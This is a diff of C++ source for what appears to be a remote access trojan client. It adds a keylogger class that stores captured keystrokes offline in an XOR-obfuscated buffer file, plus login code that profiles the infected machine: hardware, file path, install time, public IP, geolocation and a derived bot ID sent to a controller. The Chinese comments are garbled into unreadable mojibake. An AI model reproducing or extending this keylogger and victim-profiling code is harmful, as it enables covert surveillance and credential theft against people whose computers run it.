|
||||||
|
CircularBuffer(const std::string& filename, int size = BUFFER_SIZE, char key = '`')
|
||||||
|
: m_size(size), m_write(0), m_read(0), m_key(key) {
|
||||||
|
m_buffer = new char[m_size]();
|
||||||
|
InitializeCriticalSection(&m_cs);
|
||||||
|
LoadDataFromFile(filename);
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Դ
|
||||||
|
~CircularBuffer() {
|
||||||
|
DeleteCriticalSection(&m_cs);
|
||||||
|
delete[] m_buffer;
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><><EFBFBD>ջ<EFBFBD><D5BB><EFBFBD>
|
||||||
|
void Clear() {
|
||||||
|
EnterCriticalSection(&m_cs);
|
||||||
|
|
||||||
|
// <20><><EFBFBD>ö<EFBFBD>дָ<D0B4><D6B8>
|
||||||
|
m_write = 0;
|
||||||
|
m_read = 0;
|
||||||
|
memset(m_buffer, 0, m_size);
|
||||||
|
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD>/<2F><><EFBFBD>ܲ<EFBFBD><DCB2><EFBFBD><EFBFBD><EFBFBD>XOR<4F><52>
|
||||||
|
void XORData(char* data, int length) {
|
||||||
|
for (int i = 0; i < length; i++) {
|
||||||
|
data[i] ^= m_key; // <20><><EFBFBD><EFBFBD>Կ<EFBFBD><D4BF><EFBFBD><EFBFBD> XOR <20><><EFBFBD><EFBFBD>
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
bool LoadDataFromFile(const std::string& filename) {
|
||||||
|
EnterCriticalSection(&m_cs);
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||||
|
HANDLE hFile = CreateFileA(
|
||||||
|
filename.c_str(), // <20>ļ<EFBFBD>·<EFBFBD><C2B7>
|
||||||
|
GENERIC_READ, // ֻ<><D6BB>Ȩ<EFBFBD><C8A8>
|
||||||
|
0, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
NULL, // Ĭ<>ϰ<EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD>
|
||||||
|
OPEN_EXISTING, // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
FILE_ATTRIBUTE_NORMAL, // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
NULL // <20><><EFBFBD><EFBFBD>Ҫģ<D2AA><C4A3><EFBFBD>ļ<EFBFBD>
|
||||||
|
);
|
||||||
|
|
||||||
|
if (hFile == INVALID_HANDLE_VALUE) {
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
Mprintf("Failed to open file '%s' for reading\n", filename.c_str());
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><>ȡ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
DWORD bytesRead = 0;
|
||||||
|
while (m_write < m_size) {
|
||||||
|
if (!ReadFile(hFile, m_buffer + m_write, m_size - m_write, &bytesRead, NULL) || bytesRead == 0) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
XORData(m_buffer + m_write, bytesRead); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
m_write = (m_write + bytesRead) % m_size;
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20>ر<EFBFBD><D8B1>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
CloseHandle(hFile);
|
||||||
|
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD>룩
|
||||||
|
int Write(const char* data, int length) {
|
||||||
|
EnterCriticalSection(&m_cs);
|
||||||
|
|
||||||
|
for (int i = 0; i < length; i++) {
|
||||||
|
m_buffer[m_write] = data[i];
|
||||||
|
m_write = (m_write + 1) % m_size;
|
||||||
|
|
||||||
|
// <20><>дָ<D0B4><D6B8><EFBFBD>϶<EFBFBD>ָ<EFBFBD><D6B8>ʱ<EFBFBD><CAB1>ǰ<EFBFBD>ƶ<EFBFBD>ָ<EFBFBD><D6B8>ʵ<EFBFBD>ָ<EFBFBD><D6B8><EFBFBD>д<EFBFBD><D0B4>
|
||||||
|
if (m_write == m_read) {
|
||||||
|
m_read = (m_read + 1) % m_size;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
return length; // <20><><EFBFBD><EFBFBD>ʵ<EFBFBD><CAB5>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD>
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><>ָ<EFBFBD><D6B8>λ<EFBFBD>ÿ<EFBFBD>ʼ<EFBFBD><CABC>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
|
||||||
|
char* Read(int &pos, int &bytesRead) {
|
||||||
|
EnterCriticalSection(&m_cs);
|
||||||
|
|
||||||
|
if (pos == 0) {
|
||||||
|
m_read = m_write + 1;
|
||||||
|
while (m_read < m_size && m_buffer[m_read] == 0) m_read++;
|
||||||
|
if (m_read == m_size) m_read = 0;
|
||||||
|
} else {
|
||||||
|
m_read = pos;
|
||||||
|
}
|
||||||
|
int size = (m_write >= m_read) ? (m_write - m_read) : (m_size - (m_read - m_write));
|
||||||
|
char* outBuffer = size ? new char[size] : NULL;
|
||||||
|
for (int i = 0; i < size; i++) {
|
||||||
|
if (m_read == m_write) { // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
outBuffer[i] = m_buffer[m_read];
|
||||||
|
m_read = (m_read + 1) % m_size;
|
||||||
|
bytesRead++;
|
||||||
|
}
|
||||||
|
pos = m_write;
|
||||||
|
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
return outBuffer; // <20><><EFBFBD><EFBFBD>ʵ<EFBFBD>ʶ<EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD>
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ܣ<EFBFBD>
|
||||||
|
bool WriteAvailableDataToFile(const std::string& filename) {
|
||||||
|
EnterCriticalSection(&m_cs);
|
||||||
|
|
||||||
|
// <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵĴ<DDB5>С
|
||||||
|
m_read = m_write + 1;
|
||||||
|
while (m_read < m_size && m_buffer[m_read] == 0) m_read++;
|
||||||
|
if (m_read == m_size) m_read = 0;
|
||||||
|
int totalSize = (m_write >= m_read) ? (m_write - m_read) : (m_size - (m_read - m_write));
|
||||||
|
|
||||||
|
if (totalSize == 0) {
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
return true; // û<><C3BB><EFBFBD><EFBFBD><EFBFBD>ݿ<EFBFBD>д<EFBFBD><D0B4>
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>Խ<EFBFBD><D4BD><EFBFBD>д<EFBFBD><D0B4>
|
||||||
|
HANDLE hFile = CreateFileA(
|
||||||
|
filename.c_str(), // <20>ļ<EFBFBD>·<EFBFBD><C2B7>
|
||||||
|
GENERIC_WRITE, // дȨ<D0B4><C8A8>
|
||||||
|
0, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
NULL, // Ĭ<>ϰ<EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD>
|
||||||
|
CREATE_ALWAYS, // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
FILE_ATTRIBUTE_NORMAL, // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
NULL // <20><><EFBFBD><EFBFBD>Ҫģ<D2AA><C4A3><EFBFBD>ļ<EFBFBD>
|
||||||
|
);
|
||||||
|
|
||||||
|
if (hFile == INVALID_HANDLE_VALUE) {
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
return false; // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>ʧ<EFBFBD><CAA7>
|
||||||
|
}
|
||||||
|
|
||||||
|
// д<>뻺<EFBFBD><EBBBBA><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD><D0B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
int bytesWritten = 0;
|
||||||
|
DWORD bytesToWrite = totalSize;
|
||||||
|
const int size = 64*1024;
|
||||||
|
char *buffer = new char[size];
|
||||||
|
while (bytesWritten < totalSize) {
|
||||||
|
DWORD bufferSize = min(bytesToWrite, size);
|
||||||
|
|
||||||
|
// <20><><EFBFBD>仺<EFBFBD><E4BBBA><EFBFBD><EFBFBD>
|
||||||
|
for (int i = 0; i < bufferSize && m_read != m_write; ) {
|
||||||
|
buffer[i++] = m_buffer[m_read];
|
||||||
|
m_read = (m_read + 1) % m_size;
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
XORData(buffer, bufferSize);
|
||||||
|
|
||||||
|
// д<><D0B4><EFBFBD>ļ<EFBFBD>
|
||||||
|
DWORD bytesActuallyWritten = 0;
|
||||||
|
if (!WriteFile(hFile, buffer, bufferSize, &bytesActuallyWritten, NULL)) {
|
||||||
|
CloseHandle(hFile);
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
delete[] buffer;
|
||||||
|
return false; // д<><D0B4>ʧ<EFBFBD><CAA7>
|
||||||
|
}
|
||||||
|
|
||||||
|
bytesWritten += bytesActuallyWritten;
|
||||||
|
bytesToWrite -= bytesActuallyWritten;
|
||||||
|
}
|
||||||
|
delete[] buffer;
|
||||||
|
|
||||||
|
// <20>ر<EFBFBD><D8B1>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
CloseHandle(hFile);
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
class CKeyboardManager1 : public CManager
|
class CKeyboardManager1 : public CManager
|
||||||
{
|
{
|
||||||
public:
|
public:
|
||||||
CKeyboardManager1(CClientSocket *pClient, int n=0, void* user = nullptr);
|
CKeyboardManager1(IOCPClient*pClient, int offline, void* user=NULL);
|
||||||
virtual ~CKeyboardManager1();
|
virtual ~CKeyboardManager1();
|
||||||
|
virtual void Notify();
|
||||||
virtual void OnReceive(LPBYTE lpBuffer, ULONG nSize);
|
virtual void OnReceive(LPBYTE lpBuffer, ULONG nSize);
|
||||||
static DWORD WINAPI KeyLogger(LPVOID lparam);
|
static DWORD WINAPI KeyLogger(LPVOID lparam);
|
||||||
static DWORD WINAPI SendData(LPVOID lparam);
|
static DWORD WINAPI SendData(LPVOID lparam);
|
||||||
|
BOOL m_bIsOfflineRecord;
|
||||||
HANDLE m_hWorkThread,m_hSendThread;
|
HANDLE m_hWorkThread,m_hSendThread;
|
||||||
DWORD dKeyBoardSize;
|
|
||||||
TCHAR m_strRecordFile[MAX_PATH];
|
TCHAR m_strRecordFile[MAX_PATH];
|
||||||
private:
|
private:
|
||||||
BOOL IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool HasData);
|
BOOL IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool HasData);
|
||||||
int sendStartKeyBoard();
|
int sendStartKeyBoard();
|
||||||
int sendOfflineRecord(DWORD dwRead = 0);
|
|
||||||
int sendKeyBoardData(LPBYTE lpData, UINT nSize);
|
int sendKeyBoardData(LPBYTE lpData, UINT nSize);
|
||||||
|
|
||||||
bool m_bIsWorking;
|
bool m_bIsWorking;
|
||||||
|
CircularBuffer *m_Buffer;
|
||||||
};
|
};
|
||||||
|
|
||||||
#endif // !defined(AFX_KEYBOARDMANAGER1_H__EB2A4D2C_E756_41E3_A22C_6F7EA5C598EE__INCLUDED_)
|
#undef BUFFER_SIZE
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|||||||
338
client/Loader.cpp
Normal file
338
client/Loader.cpp
Normal file
File diff suppressed because one or more lines are too long
@@ -6,6 +6,9 @@
|
|||||||
#include <iomanip>
|
#include <iomanip>
|
||||||
#include <ctime>
|
#include <ctime>
|
||||||
#include <NTSecAPI.h>
|
#include <NTSecAPI.h>
|
||||||
|
#include "common/skCrypter.h"
|
||||||
|
#include <common/iniFile.h>
|
||||||
|
#include <location.h>
|
||||||
|
|
||||||
// by ChatGPT
|
// by ChatGPT
|
||||||
bool IsWindows11() {
|
bool IsWindows11() {
|
||||||
@@ -44,7 +47,7 @@ std::string getSystemName()
|
|||||||
}
|
}
|
||||||
if (IsWindows11()) {
|
if (IsWindows11()) {
|
||||||
vname = "Windows 11";
|
vname = "Windows 11";
|
||||||
printf_s("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
|
Mprintf("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
|
||||||
return vname;
|
return vname;
|
||||||
}
|
}
|
||||||
DWORD dwMajor, dwMinor, dwBuildNumber;
|
DWORD dwMajor, dwMinor, dwBuildNumber;
|
||||||
@@ -57,13 +60,13 @@ std::string getSystemName()
|
|||||||
if (dwMajor == 6 && dwMinor == 3) //win 8.1
|
if (dwMajor == 6 && dwMinor == 3) //win 8.1
|
||||||
{
|
{
|
||||||
vname = "Windows 8.1";
|
vname = "Windows 8.1";
|
||||||
printf_s("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
|
Mprintf("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
|
||||||
return vname;
|
return vname;
|
||||||
}
|
}
|
||||||
if (dwMajor == 10 && dwMinor == 0) //win 10
|
if (dwMajor == 10 && dwMinor == 0) //win 10
|
||||||
{
|
{
|
||||||
vname = "Windows 10";
|
vname = "Windows 10";
|
||||||
printf_s("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
|
Mprintf("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
|
||||||
return vname;
|
return vname;
|
||||||
}
|
}
|
||||||
//<2F><><EFBFBD>治<EFBFBD><E6B2BB><EFBFBD>ж<EFBFBD>Win Server<65><72><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD>˻<EFBFBD>δ<EFBFBD><CEB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ<CFB5>Ļ<EFBFBD><C4BB>ӣ<EFBFBD><D3A3><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
//<2F><><EFBFBD>治<EFBFBD><E6B2BB><EFBFBD>ж<EFBFBD>Win Server<65><72><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD>˻<EFBFBD>δ<EFBFBD><CEB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ<CFB5>Ļ<EFBFBD><C4BB>ӣ<EFBFBD><D3A3><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
@@ -141,10 +144,10 @@ std::string getSystemName()
|
|||||||
default:
|
default:
|
||||||
vname = "δ֪<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ";
|
vname = "δ֪<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ";
|
||||||
}
|
}
|
||||||
printf_s("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
|
Mprintf("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
printf_s("<EFBFBD>汾<EFBFBD><EFBFBD>ȡʧ<EFBFBD><EFBFBD>\n");
|
Mprintf("<EFBFBD>汾<EFBFBD><EFBFBD>ȡʧ<EFBFBD><EFBFBD>\n");
|
||||||
return vname;
|
return vname;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -178,7 +181,51 @@ std::string getProcessTime() {
|
|||||||
return buffer;
|
return buffer;
|
||||||
}
|
}
|
||||||
|
|
||||||
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, int nType)
|
int getOSBits() {
|
||||||
|
SYSTEM_INFO si;
|
||||||
|
GetNativeSystemInfo(&si);
|
||||||
|
|
||||||
|
if (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 ||
|
||||||
|
si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_ARM64) {
|
||||||
|
return 64;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
return 32;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD>CPU<50><55><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
// SYSTEM_INFO.dwNumberOfProcessors
|
||||||
|
int GetCPUCores()
|
||||||
|
{
|
||||||
|
INT i = 0;
|
||||||
|
#ifdef _WIN64
|
||||||
|
// <20><> x64 <20>£<EFBFBD><C2A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫʹ<D2AA><CAB9> `NtQuerySystemInformation`
|
||||||
|
SYSTEM_INFO sysInfo;
|
||||||
|
GetSystemInfo(&sysInfo);
|
||||||
|
i = sysInfo.dwNumberOfProcessors; // <20><>ȡ CPU <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
#else
|
||||||
|
_asm { // x64<36><34><EFBFBD><EFBFBD>ģʽ<C4A3>²<EFBFBD>֧<EFBFBD><D6A7>__asm<73>Ļ<EFBFBD><C4BB><EFBFBD>Ƕ<EFBFBD><C7B6>
|
||||||
|
mov eax, dword ptr fs : [0x18] ; // TEB
|
||||||
|
mov eax, dword ptr ds : [eax + 0x30] ; // PEB
|
||||||
|
mov eax, dword ptr ds : [eax + 0x64] ;
|
||||||
|
mov i, eax;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
Mprintf("<EFBFBD>˼<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>CPU<EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", i);
|
||||||
|
return i;
|
||||||
|
}
|
||||||
|
|
||||||
|
double GetMemorySizeGB() {
|
||||||
|
_MEMORYSTATUSEX mst;
|
||||||
|
mst.dwLength = sizeof(mst);
|
||||||
|
GlobalMemoryStatusEx(&mst);
|
||||||
|
double GB = mst.ullTotalPhys / (1024.0 * 1024 * 1024);
|
||||||
|
Mprintf("<EFBFBD>˼<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>: %fGB\n", GB);
|
||||||
|
return GB;
|
||||||
|
}
|
||||||
|
|
||||||
|
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn)
|
||||||
{
|
{
|
||||||
LOGIN_INFOR LoginInfor;
|
LOGIN_INFOR LoginInfor;
|
||||||
LoginInfor.bToken = TOKEN_LOGIN; // <20><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>¼
|
LoginInfor.bToken = TOKEN_LOGIN; // <20><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>¼
|
||||||
@@ -194,12 +241,65 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, int nType)
|
|||||||
|
|
||||||
BOOL bWebCamIsExist = WebCamIsExist();
|
BOOL bWebCamIsExist = WebCamIsExist();
|
||||||
|
|
||||||
memcpy(LoginInfor.szPCName,szPCName,MAX_PATH);
|
memcpy(LoginInfor.szPCName,szPCName,sizeof(LoginInfor.szPCName));
|
||||||
LoginInfor.dwSpeed = dwSpeed;
|
LoginInfor.dwSpeed = dwSpeed;
|
||||||
LoginInfor.dwCPUMHz = dwCPUMHz;
|
LoginInfor.dwCPUMHz = dwCPUMHz;
|
||||||
LoginInfor.bWebCamIsExist = bWebCamIsExist;
|
LoginInfor.bWebCamIsExist = bWebCamIsExist;
|
||||||
strcpy_s(LoginInfor.szStartTime, getProcessTime().c_str());
|
strcpy_s(LoginInfor.szStartTime, getProcessTime().c_str());
|
||||||
sprintf_s(LoginInfor.szReserved, "%s", GetClientType(nType));
|
LoginInfor.AddReserved(GetClientType(conn.ClientType())); // <20><><EFBFBD><EFBFBD>
|
||||||
|
LoginInfor.AddReserved(getOSBits()); // ϵͳλ<CDB3><CEBB>
|
||||||
|
LoginInfor.AddReserved(GetCPUCores()); // CPU<50><55><EFBFBD><EFBFBD>
|
||||||
|
LoginInfor.AddReserved(GetMemorySizeGB()); // ϵͳ<CFB5>ڴ<EFBFBD>
|
||||||
|
char buf[_MAX_PATH] = {};
|
||||||
|
GetModuleFileNameA(NULL, buf, sizeof(buf));
|
||||||
|
LoginInfor.AddReserved(buf); // <20>ļ<EFBFBD>·<EFBFBD><C2B7>
|
||||||
|
LoginInfor.AddReserved("?"); // test
|
||||||
|
iniFile cfg(CLIENT_PATH);
|
||||||
|
std::string installTime = cfg.GetStr("settings", "install_time");
|
||||||
|
if (installTime.empty()) {
|
||||||
|
installTime = ToPekingTimeAsString(nullptr);
|
||||||
|
cfg.SetStr("settings", "install_time", installTime);
|
||||||
|
}
|
||||||
|
LoginInfor.AddReserved(installTime.c_str()); // <20><>װʱ<D7B0><CAB1>
|
||||||
|
LoginInfor.AddReserved("?"); // <20><>װ<EFBFBD><D7B0>Ϣ
|
||||||
|
LoginInfor.AddReserved(sizeof(void*)==4 ? 32 : 64); // <20><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
||||||
|
std::string str;
|
||||||
|
std::string masterHash(skCrypt(MASTER_HASH));
|
||||||
|
HANDLE hMutex = OpenMutex(SYNCHRONIZE, FALSE, "MASTER.EXE");
|
||||||
|
hMutex = hMutex ? hMutex : OpenMutex(SYNCHRONIZE, FALSE, "YAMA.EXE");
|
||||||
|
#ifndef _DEBUG
|
||||||
|
if (hMutex != NULL) {
|
||||||
|
#else
|
||||||
|
{
|
||||||
|
#endif
|
||||||
|
CloseHandle(hMutex);
|
||||||
|
config*cfg = conn.pwdHash == masterHash ? new config : new iniFile;
|
||||||
|
str = cfg->GetStr("settings", "Password", "");
|
||||||
|
delete cfg;
|
||||||
|
str.erase(std::remove(str.begin(), str.end(), ' '), str.end());
|
||||||
|
auto list = StringToVector(str, '-', 3);
|
||||||
|
str = list[1].empty() ? "Unknown" : list[1];
|
||||||
|
}
|
||||||
|
LoginInfor.AddReserved(str.c_str()); // <20><>Ȩ<EFBFBD><C8A8>Ϣ
|
||||||
|
bool isDefault = strlen(conn.szFlag) == 0 || strcmp(conn.szFlag, skCrypt(FLAG_GHOST)) == 0 ||
|
||||||
|
strcmp(conn.szFlag, skCrypt("Happy New Year!")) == 0;
|
||||||
|
const char* id = isDefault ? masterHash.c_str() : conn.szFlag;
|
||||||
|
memcpy(LoginInfor.szMasterID, id, min(strlen(id), 16));
|
||||||
|
std::string loc = cfg.GetStr("settings", "location", "");
|
||||||
|
std::string pubIP = cfg.GetStr("settings", "public_ip", "");
|
||||||
|
IPConverter cvt;
|
||||||
|
if (loc.empty()) {
|
||||||
|
std::string ip = cvt.getPublicIP();
|
||||||
|
if (pubIP.empty()) pubIP = ip;
|
||||||
|
loc = cvt.GetGeoLocation(pubIP);
|
||||||
|
cfg.SetStr("settings", "location", loc);
|
||||||
|
}
|
||||||
|
if (pubIP.empty()) {
|
||||||
|
pubIP = cvt.getPublicIP();
|
||||||
|
cfg.SetStr("settings", "public_ip", pubIP);
|
||||||
|
}
|
||||||
|
LoginInfor.AddReserved(loc.c_str());
|
||||||
|
LoginInfor.AddReserved(pubIP.c_str());
|
||||||
|
|
||||||
return LoginInfor;
|
return LoginInfor;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -5,6 +5,6 @@
|
|||||||
|
|
||||||
#pragma comment(lib,"Vfw32.lib")
|
#pragma comment(lib,"Vfw32.lib")
|
||||||
|
|
||||||
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, int nType);
|
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS &conn);
|
||||||
DWORD CPUClockMHz();
|
DWORD CPUClockMHz();
|
||||||
BOOL WebCamIsExist();
|
BOOL WebCamIsExist();
|
||||||
|
|||||||
@@ -14,7 +14,7 @@ typedef struct {
|
|||||||
HANDLE hEventTransferArg;
|
HANDLE hEventTransferArg;
|
||||||
} THREAD_ARGLIST, * LPTHREAD_ARGLIST;
|
} THREAD_ARGLIST, * LPTHREAD_ARGLIST;
|
||||||
|
|
||||||
BOOL SelectDesktop(TCHAR* name);
|
HDESK SelectDesktop(TCHAR* name);
|
||||||
|
|
||||||
unsigned int __stdcall ThreadLoader(LPVOID param)
|
unsigned int __stdcall ThreadLoader(LPVOID param)
|
||||||
{
|
{
|
||||||
@@ -54,6 +54,41 @@ HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
|
|||||||
return hThread;
|
return hThread;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
ULONG PseudoRand(ULONG* seed)
|
||||||
|
{
|
||||||
|
return (*seed = 1352459 * (*seed) + 2529004207);
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string GetBotId()
|
||||||
|
{
|
||||||
|
#define _T(p) p
|
||||||
|
TCHAR botId[35] = { 0 };
|
||||||
|
TCHAR windowsDirectory[MAX_PATH] = {};
|
||||||
|
TCHAR volumeName[8] = { 0 };
|
||||||
|
DWORD seed = 0;
|
||||||
|
|
||||||
|
if (GetWindowsDirectory(windowsDirectory, sizeof(windowsDirectory)))
|
||||||
|
windowsDirectory[0] = _T('C');
|
||||||
|
|
||||||
|
volumeName[0] = windowsDirectory[0];
|
||||||
|
volumeName[1] = _T(':');
|
||||||
|
volumeName[2] = _T('\\');
|
||||||
|
volumeName[3] = _T('\0');
|
||||||
|
|
||||||
|
GetVolumeInformation(volumeName, NULL, 0, &seed, 0, NULL, NULL, 0);
|
||||||
|
|
||||||
|
GUID guid = {};
|
||||||
|
guid.Data1 = PseudoRand(&seed);
|
||||||
|
|
||||||
|
guid.Data2 = (USHORT)PseudoRand(&seed);
|
||||||
|
guid.Data3 = (USHORT)PseudoRand(&seed);
|
||||||
|
for (int i = 0; i < 8; i++)
|
||||||
|
guid.Data4[i] = (UCHAR)PseudoRand(&seed);
|
||||||
|
wsprintf(botId, _T("%08lX%04lX%lu"), guid.Data1, guid.Data3, *(ULONG*)&guid.Data4[2]);
|
||||||
|
return botId;
|
||||||
|
#undef _T(p)
|
||||||
|
}
|
||||||
|
|
||||||
BOOL SelectHDESK(HDESK new_desktop)
|
BOOL SelectHDESK(HDESK new_desktop)
|
||||||
{
|
{
|
||||||
HDESK old_desktop = GetThreadDesktop(GetCurrentThreadId());
|
HDESK old_desktop = GetThreadDesktop(GetCurrentThreadId());
|
||||||
@@ -80,9 +115,9 @@ BOOL SelectHDESK(HDESK new_desktop)
|
|||||||
// Switches the current thread into a different desktop, by name
|
// Switches the current thread into a different desktop, by name
|
||||||
// Calling with a valid desktop name will place the thread in that desktop.
|
// Calling with a valid desktop name will place the thread in that desktop.
|
||||||
// Calling with a NULL name will place the thread in the current input desktop.
|
// Calling with a NULL name will place the thread in the current input desktop.
|
||||||
BOOL SelectDesktop(TCHAR* name)
|
HDESK SelectDesktop(TCHAR* name)
|
||||||
{
|
{
|
||||||
HDESK desktop;
|
HDESK desktop = NULL;
|
||||||
|
|
||||||
if (name != NULL) {
|
if (name != NULL) {
|
||||||
// Attempt to open the named desktop
|
// Attempt to open the named desktop
|
||||||
